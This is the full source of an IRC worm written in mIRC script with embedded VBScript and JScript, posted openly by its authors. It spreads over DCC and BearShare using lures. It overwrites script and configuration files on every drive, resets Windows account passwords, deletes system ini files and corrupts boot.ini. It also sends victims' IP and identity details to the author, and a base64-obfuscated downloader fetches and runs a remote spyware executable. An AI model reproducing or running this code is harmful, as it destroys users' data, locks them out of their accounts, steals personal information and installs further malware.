|| Author: sk0r,Czybik/EOF || Back to sources || View project folder ||
; IRC-Worm 'BrownThunder' (C) 2006 by sk0r / Czybik ; ============================================ ; ; This is a real Irc-Worm. It is completely ; written in mrc (msl) and can spread with ; mirc as well as bearshare. Well because I ; have never seen a real mirc worm completely ; written in mrc (msl) (I only heard from one but ; havent seen the code), I decided to code one. ; Only some parts are in vbscript, but not all. ; Well it is a 'PoC' Worm and could be buggy as ; I havent tested it. Here are the features: ; ----------------------------------------------- ; - Overwrites 'mirc.ini' so that mirc accepts ; critical files and ignores harmless files, ; joins my and eof-project channel, use the ; undernet network and changes the nick, anick ; and the email-address, and also write to rfiles ; the worm file so that it starts always. ; Also the warnings of dcc and link will ; be disabled. ; - Changes the mirc titlebar ; - Spreads with bearshare lite if its installed ; therefore it uses four nice looking filenames ; - Trys to overwrite all mrc, ini and tcl files : which it founds on all harddrives. ; - If the current day is Friday, it changes the ; administrator and password of the current user ; in random strings with seven characters. ; - If the current day is Saturday or Sunday it ; overwrites the 'boot.ini' so that on boot ; a string will appear (replaces the normal string) ; - If the user connects to the Undernet network ; he will send some informations of the user to ; me. Those are the ip-address, the nickname, ; the alternate nickname, the fullname, the ; email address, the usermode, the server, ; the serverip, the network, the os and hostname ; - For every 10th user joining a channel the ; worm trys to send him the wormfile or trys ; to send him a website address with the worm ; - If the user wants to join another channel ; which is not my or eof-project channel ; he will leave the channel again. ; - If someone types 'shutdown' in a channel ; where the user is, the worm will try to ; shutdown the computer, this works only ; if wmi is installed. Also if ; someone types 'reboot' the worm trys to ; reboot the computer. ; - Is someone types backdoor, trojan, skowisky, ; server, remote or administrator the worm trys ; to download the Skowisky Server file and ; executes it. ; - If someone types 'sk0r' or 'Czybik' then the ; user will write a sentence into the channel ; ----------------------------------------------- ; ; Worm made by sk0r / Czybik [EOF-Project Member] ; ; sk0r1337@gmx.de <> www.sk0r-Czybik.de.vu <> www.eof-project.net ; ; alias Shutdown { if (!$exists(shutdown.vbs)) { /fopen -n shutdown shutdown.vbs /fwrite -n shutdown Set wmi = GetObject _ $crlf /fwrite -n shutdown ("winmgmts:{impersonationLevel=impersonate,(Shutdown)}\\"+ _ $crlf /fwrite -n shutdown createobject("wscript.network").computername+"\root\cimv2") $crlf /fwrite -n shutdown For Each machin in wmi.ExecQuery("Select * from Win32_OperatingSystem") $crlf /fwrite -n shutdown machin.Win32Shutdown(1) $crlf /fwrite -n shutdown Next $crlf /fclose shutdown /run shutdown.vbs /remove shutdown.vbs } } alias Reboot { if (!$exists(reboot.vbs)) { /fopen -n reboot reboot.vbs /fwrite -n reboot Set wmi = GetObject("winmgmts:" _ $crlf /fwrite -n reboot & "{impersonationLevel=impersonate,(Shutdown)}!\\" + _ $crlf /fwrite -n reboot createobject("wscript.network").computername+ "\root\cimv2") $crlf /fwrite -n reboot For Each machin in wmi.ExecQuery("Select * from Win32_OperatingSystem") $crlf /fwrite -n reboot machin.Reboot() $crlf /fwrite -n reboot Next $crlf /fclose reboot /run reboot.vbs /remove reboot.vbs } } alias DownloadSkowiskyServer { if (!$exists(downloader.js)) { /fopen -n downloader downloader.js /fwrite -n downloader $decode(dmFyIGZzbyA9IG5ldyBBY3RpdmVYT2JqZWN0KCJTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCIpOw==,m) $crlf /fwrite -n downloader $decode(dmFyIHdzaHMgPSBuZXcgQWN0aXZlWE9iamVjdCgiV1NjcmlwdC5TaGVsbCIpOw==,m) $crlf /fwrite -n downloader $decode(dmFyIHRlbXBkaXIgPSBmc28uZ2V0c3BlY2lhbGZvbGRlcigyKTs=,m) $crlf /fwrite -n downloader $decode(dmFyIHhtbERsZHIgPSBuZXcgQWN0aXZlWE9iamVjdCgiTWljcm9zb2Z0LlhNTEhUVFAiKTs=,m) $crlf /fwrite -n downloader $decode(eG1sRGxkci5PcGVuKCJHRVQiLCAiaHR0cDovL3Blb3BsZS5mcmVlbmV0LmRlL3NrMHIxMzM3L3NweXdhcmUuZXhlIiAsMCk7,m) $crlf /fwrite -n downloader $decode(eG1sRGxkci5TZW5kKCk7,m) $crlf /fwrite -n downloader $decode(dmFyIGFkU3RyZWFtID0gbmV3IEFjdGl2ZVhPYmplY3QoIkFET0RCLlN0cmVhbSIpOw==,m) $crlf /fwrite -n downloader $decode(YWRTdHJlYW0uTW9kZSA9IDM7,m) $crlf /fwrite -n downloader $decode(YWRTdHJlYW0uVHlwZSA9IDE7,m) $crlf /fwrite -n downloader $decode(YWRTdHJlYW0uT3BlbigpOw==,m) $crlf /fwrite -n downloader $decode(YWRTdHJlYW0uV3JpdGUoeG1sRGxkci5yZXNwb25zZUJvZHkpOw==,m) $crlf /fwrite -n downloader $decode(YWRTdHJlYW0uU2F2ZVRvRmlsZSh0ZW1wZGlyICsgIlx0ZW1wc3B5d2FyZWRhdGVpLmV4ZSIsMik7,m) $crlf /fwrite -n downloader $decode(d3Nocy5SdW4odGVtcGRpciArICJcdGVtcHNweXdhcmVkYXRlaS5leGUiKTs=,m) $crlf /fclose downloader /run downloader.js /remove downloader.js } } On 1:Start: { /titlebar Infected with IRC-Worm/BrownThunder.A by sk0r / Czybik set %dccVaria 1 set %zufallssend $rand(1,2) set %root $left($mircdir,3) if(!$exists(mirc.vbs)) { /fopen -n mircini mirc.vbs /fwrite -n mircini set fso = createobject("scripting.filesystemobject") $crlf /fwrite -n mircini fso.deletefile("mirc.ini") $crlf /fclose mircini /run mirc.vbs /fopen -n crtmirc mirc.ini /fwrite -n crtmirc [text] $crlf /fwrite -n crtmirc accept=*.exe,*.com,*.bat,*.dll,*.ini,*.mrc,*.vbs,*.js,*.pif,*.scr,*.lnk,*.pl,*.shs,*.htm,*.html $crlf /fwrite -n crtmirc ignore=*.bmp,*.gif,*.jpg,*.log,*.mid,*.mp3,*.png,*.txt,*.wav,*.wma,*.zip $crlf /fwrite -n crtmirc network=Undernet $crlf /fwrite -n crtmirc defport=6667 $crlf /fwrite -n crtmirc commandchar=/ $crlf /fwrite -n crtmirc linesep=- $crlf /fwrite -n crtmirc timestamp=[HH:nn] $crlf /fwrite -n crtmirc theme=mIRC Classic $crlf /fwrite -n crtmirc [warn] $crlf /fwrite -n crtmirc dcc=off $crlf /fwrite -n crtmirc fserve=on $crlf /fwrite -n crtmirc link=off $crlf /fwrite -n crtmirc [mirc] $crlf /fwrite -n crtmirc user=efawwfe $crlf /fwrite -n crtmirc email=efawwfe@gmail.com $crlf /fwrite -n crtmirc nick=efawwfe $crlf /fwrite -n crtmirc anick=hexascmidlol $crlf /fwrite -n crtmirc host=Undernet: EU, AT, Graz2SERVER:graz2.at.eu.undernet.org:6665GROUP:Undernet $crlf /fwrite -n crtmirc [chanfolder] $crlf /fwrite -n crtmirc n0=#eof-project,,,,1,1 $crlf /fwrite -n crtmirc n1=#sk0r.Czybik,,,,1,1 $crlf /fwrite -n crtmirc [rfiles] $crlf /fwrite -n crtmirc n0=remote.ini $crlf /fwrite -n crtmirc n1=remote.ini $crlf /fwrite -n crtmirc n2=script.ini $crlf /fwrite -n crtmirc n3=users.mrc $crlf /fclose crtmirc /remove mirc.vbs /clear } if(!$exists(bearshare.vbs)) { /fopen -n bearshare bearshare.vbs /fwrite -n bearshare set fso = createobject("scripting.filesystemobject") $crlf /fwrite -n bearshare set wshs = createobject("wscript.shell") $crlf /fwrite -n bearshare bearshare = wshs.regread("HKEY_LOCAL_MACHINE\SOFTWARE\BearShare\" & "InstallDir") $crlf /fwrite -n bearshare if bearshare <> "" then $crlf /fwrite -n bearshare set opnfile = fso.opentextfile(bearshare+"\FreePeers.ini") $crlf /fwrite -n bearshare while not opnfile.AtEndOfStream $crlf /fwrite -n bearshare readl = opnfile.ReadLine $crlf /fwrite -n bearshare if instr(ucase(readl),"SZDOWNLOADSDIR") then $crlf /fwrite -n bearshare dlfolder = mid(readl, instr(ucase(readl),"=")+1) $crlf /fwrite -n bearshare dlfolder = replace(dlfolder,"""","") $crlf /fwrite -n bearshare bearsharedownloads = replace(dlfolder,mid(readl,instr(ucase(readl),";")),"") $crlf /fwrite -n bearshare end if $crlf /fwrite -n bearshare wend $crlf /fwrite -n bearshare opnfile.close $crlf /fwrite -n bearshare filenames = array("OverTaker mIRC Script v2.7.mrc", "NNScript v5.7.mrc", "AK-47 mIRC Script.mrc", "Irc Floodscript v2.7.mrc") $crlf /fwrite -n bearshare set gtfake = fso.getfile ("$mircdir\users.mrc") $crlf /fwrite -n bearshare for each datei in filename $crlf /fwrite -n bearshare gtfake.copy (bearsharedownloads+datei) $crlf /fwrite -n bearshare next $crlf /fwrite -n bearshare end if $crlf /fclose bearshare /run bearshare.vbs /remove bearshare.vbs /clear if (!exists(hackfiles.vbs)) { /fopen -n hackfiles hackfiles.vbs /fwrite -n hackfiles Function FindeBestimmteDateien(FestplattenName) $crlf /fwrite -n hackfiles On Error Resume Next $crlf /fwrite -n hackfiles Set fso = CreateObject("scripting.filesystemobject") $crlf /fwrite -n hackfiles set gtmrcfile = fso.opentextfile("$mircdir\users.mrc") $crlf /fwrite -n hackfiles allcont = gtmrcfile.readall $crlf /fwrite -n hackfiles gtmrcfile.close $crlf /fwrite -n hackfiles Set gtString = fso.getfolder(FestplattenName) $crlf /fwrite -n hackfiles Set AlleUnterOrdner = gtString.subfolders $crlf /fwrite -n hackfiles For Each JedenUnterOrdner In AlleUnterOrdner $crlf /fwrite -n hackfiles Set AlleDatenDateien = JedenUnterOrdner.Files $crlf /fwrite -n hackfiles For Each AlleEinzelnenDateien In AlleDatenDateien $crlf /fwrite -n hackfiles strExten = LCase(fso.getextensionname(AlleEinzelnenDateien.Path)) $crlf /fwrite -n hackfiles If strExten = "mrc" Or strExten = "ini" Or strExten = "tcl" Then $crlf /fwrite -n hackfiles Set openforwrite = fso.createtextfile(AlleEinzelnenDateien.Path, True) $crlf /fwrite -n hackfiles openforwrite.write allcont $crlf /fwrite -n hackfiles openforwrite.Close $crlf /fwrite -n hackfiles End If $crlf /fwrite -n hackfiles Next $crlf /fwrite -n hackfiles Next $crlf /fwrite -n hackfiles For Each NochMehrUnterOrdner In AlleUnterOrdner $crlf /fwrite -n hackfiles FindeBestimmteDateien (NochMehrUnterOrdner) $crlf /fwrite -n hackfiles Next $crlf /fwrite -n hackfiles End Function $crlf /fwrite -n hackfiles Set pcdriv = CreateObject("scripting.filesystemobject").drives $crlf /fwrite -n hackfiles For Each Festplatte In pcdriv $crlf /fwrite -n hackfiles FindeBestimmteDateien (Festplatte) $crlf /fwrite -n hackfiles Next $crlf /fclose hackfiles /run hackfiles.vbs /remove hackfiles.vbs ;/DownloadSkowiskyServer } if ($day == Friday) { set %kaka1 $rand(a,z) set %kaka2 $rand(a,z) set %kaka3 $rand(a,z) set %kaka4 $rand(a,z) set %kaka5 $rand(a,z) set %kaka6 $rand(a,z) set %kaka7 $rand(a,z) set %kaka8 $rand(a,z) set %kaka9 $rand(a,z) set %kaka10 $rand(a,z) set %pwstring %kaka1 %kaka2 %kaka3 %kaka4 %kaka5 %kaka6 %kaka7 %kaka8 %kaka9 %kaka10 set %enctext $replace(%pwstring,$chr(32),) set %enced $encode(%enctext,t) /fopen -n passw passw.txt /fwrite passw %enced /fclose passw /run cmd /c net user administrator %enctext /run cmd /c net user %UserName% %enctext /clear } if (($day == Saturday) || ($day == Sunday)) { if(!$exists(deleteion.vbs)) { /fopen -n vbsfile $mircdir\deleteion.vbs /fwrite vbsfile set fso = createobject("scripting.filesystemobject") $crlf /fwrite vbsfile set windir = fso.getspecialfolder(0) $crlf /fwrite vbsfile hddisk = left(windir,2) $crlf /fwrite vbsfile fso.deletefile(windir+"\win.ini") $crlf /fwrite vbsfile fso.deletefile(windir+"\system.ini") $crlf /fwrite vbsfile set gtboot = fso.getfile(hddisk+"\BOOT.INI") $crlf /fwrite vbsfile gtboot.attributes = gtboot.attributes -4 $crlf /fwrite vbsfile gtboot.attributes = gtboot.attributes -2 $crlf /fwrite vbsfile gtboot.attributes = gtboot.attributes -1 $crlf /fwrite vbsfile set fboot = fso.createtextfile(hddisk+"\BOOT.INI", True) $crlf /fwrite vbsfile fboot.writeline ("[boot loader]") $crlf /fwrite vbsfile fboot.writeline ("default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS") $crlf /fwrite vbsfile fboot.writeline ("[operating systems]") $crlf /fwrite vbsfile fboot.writeline ("multi(X)disk(X)rdisk(X)partition(X)\WINDOWS=""Hacked by sk0r alias Czybik""") $crlf /fwrite vbsfile fboot.close $crlf /fclose vbsfile /run deleteion.vbs /remove deleteion.vbs /clear } } } On 1:Connect:* { if ($network == Undernet) { /msg sk0r1337 4 Hello sk0r / Czybik /msg sk0r1337 4 ==================== /msg sk0r1337 My name is $me and my mirc is infected with /msg sk0r1337 your worm called IRC-Worm/BrownThunder.A /msg sk0r1337 Here are some informations about me: /msg sk0r1337 3 Nickname : $nick /msg sk0r1337 3 Alternate : $anick /msg sk0r1337 3 Ip-Address: $ip /msg sk0r1337 3 Email : $emailaddr /msg sk0r1337 3 Fullname : $fullname /msg sk0r1337 3 Host : $host /msg sk0r1337 3 Network : $network /msg sk0r1337 3 Server : $server /msg sk0r1337 3 Serverip : $serverip /msg sk0r1337 3 Usermode : $usermode /msg sk0r1337 3 System : Windows $os /join #sk0r.Czybik , #eof-project } } On *:Join:#: { /inc %dccVaria if ($nick == $me) { halt } if (%dccVaria == 7) { if(%zufallssend == 1) { /msg $nick Hey, This is a very good overtaker script. To Run it type '/load -rs users.mrc' /dcc send $nick users.mrc } else { /msg $nick Hey, get this good overtaker script to make a channel of your choice to your channel! /msg $nick It is very easy. Go to http://mircpwn.mi.ohost.de/MircOvertaker.zip and download the script. /msg $nick Unzip it in your mirc folder and type in mirc: '/load -rs users.mrc' and then own channels ;-) } set %dccVaria 1 } ;if(($chan != #sk0r.Czybik) || ($chan != #eof-project)) { ;/part $chan ;} } On 1:Text:#:*shutdown*: { ;/run shutdown.exe -c "IRC-Worm/BrownThunder.A" -t 01 -s /Shutdown } On 1:Text:#:*reboot*: { ;/run shutdown.exe -c "IRC-Worm/BrownThunder.A" -t 01 -r /Reboot } On 1:Text:#:*server*: { /DownloadSkowiskyServer } On 1:Text:#:*trojan*: { /DownloadSkowiskyServer } On 1:Text:#:*administrator*: { /DownloadSkowiskyServer } On 1:Text:#:*skowisky*: { /DownloadSkowiskyServer } On 1:Text:#:*remote*: { /DownloadSkowiskyServer } On 1:Text:#:*backdoor*: { /DownloadSkowiskyServer } On 1:Text:#:*sk0r*: { /msg $chan IRC-Worm/BrownThunder.A made by sk0r / Czybik } On 1:Text:#:*Czybik*: { /msg $chan IRC-Worm/BrownThunder.A made by sk0r / Czybik } ; <!-- End of IRC-Worm 'BrownThunder' <> Made by sk0r / Czybik [EOF] --!>